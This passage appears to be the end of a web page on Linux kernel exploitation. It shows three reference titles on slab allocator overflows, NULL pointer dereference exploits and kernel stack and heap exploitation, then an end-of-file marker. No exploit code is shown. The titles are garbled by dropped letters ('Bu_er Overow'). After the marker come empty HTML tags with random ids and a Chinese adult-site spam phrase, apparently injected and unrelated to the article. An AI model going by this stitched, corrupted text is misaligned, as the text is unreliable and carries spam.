            4、 Ramon de Carvalho Valle - Linux Slab Allocator Bu_er Overow Vulnerabilities
            5、 wzt - How to Exploit Linux Kernel NULL Pointer Dereference
            6、 wzt - Linux kernel stack and heap exploitation
            
            -EOF-
            
            <span id="7ztzv"></span>
            <sub id="7ztzv"></sub>

            <span id="7ztzv"></span><form id="7ztzv"></form>

            <span id="7ztzv"></span>

                  <address id="7ztzv"></address>

                      亚洲欧美在线